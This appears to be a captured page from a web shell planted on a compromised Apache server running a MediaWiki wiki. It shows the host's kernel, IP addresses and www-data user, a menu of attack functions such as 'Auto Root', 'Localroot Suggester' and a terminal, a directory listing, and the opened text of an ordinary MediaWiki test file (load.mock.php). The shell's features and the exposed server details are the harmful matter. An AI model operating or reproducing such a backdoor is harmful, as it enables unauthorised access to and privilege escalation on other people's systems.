Linux anchor 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
Apache/2.4.18 (Ubuntu)
Server IP : 10.10.100.4 & Your IP : 216.73.217.150
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
wiki.bernardino.org /
tests /
qunit /
data /
Delete
Unzip
Name
Size
Permission
Date
Action
callMwLoaderTestCallback.js
33
B
-rw-r--r--
2016-11-28 20:20
defineCallMwLoaderTestCallback.js
29
B
-rw-r--r--
2016-11-28 20:20
defineTestCallback.js
129
B
-rw-r--r--
2011-07-10 21:10
generateJqueryMsgData.php
4.55
KB
-rw-r--r--
2016-11-28 20:20
load.mock.php
2.19
KB
-rw-r--r--
2016-11-28 20:20
mediawiki.jqueryMsg.data.js
16.37
KB
-rw-r--r--
2016-11-28 20:20
qunitOkCall.js
64
B
-rw-r--r--
2016-11-28 20:20
requireCallMwLoaderTestCallback.js
136
B
-rw-r--r--
2016-11-28 20:20
styleTest.css.php
1.77
KB
-rw-r--r--
2016-11-28 20:20
testrunner.js
16.68
KB
-rw-r--r--
2016-11-28 20:20
testwarm.inject.js
8.73
KB
-rw-r--r--
2011-07-10 21:10
Save
Rename
<?php /** * Mock load.php with pre-defined test modules. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * http://www.gnu.org/copyleft/gpl.html * * @file * @package MediaWiki * @author Lupo * @since 1.20 */ header( 'Content-Type: text/javascript; charset=utf-8' ); require_once __DIR__ . '/../../../includes/json/FormatJson.php'; require_once __DIR__ . '/../../../includes/Xml.php'; $moduleImplementations = [ 'testUsesMissing' => " mw.loader.implement( 'testUsesMissing', function () { QUnit.ok( false, 'Module usesMissing script should not run.' ); QUnit.start(); }, {}, {}); ", 'testUsesNestedMissing' => " mw.loader.implement( 'testUsesNestedMissing', function () { QUnit.ok( false, 'Module testUsesNestedMissing script should not run.' ); QUnit.start(); }, {}, {}); ", 'testSkipped' =>" mw.loader.implement( 'testSkipped', function () { QUnit.ok( false, 'Module testSkipped was supposed to be skipped.' ); }, {}, {}); ", 'testNotSkipped' =>" mw.loader.implement( 'testNotSkipped', function () {}, {}, {}); ", 'testUsesSkippable' =>" mw.loader.implement( 'testUsesSkippable', function () {}, {}, {}); ", ]; $response = ''; // Only support for non-encoded module names, full module names expected if ( isset( $_GET['modules'] ) ) { $modules = explode( ',', $_GET['modules'] ); foreach ( $modules as $module ) { if ( isset( $moduleImplementations[$module] ) ) { $response .= $moduleImplementations[$module]; } else { $response .= Xml::encodeJsCall( 'mw.loader.state', [ $module, 'missing' ], true ); } } } echo $response;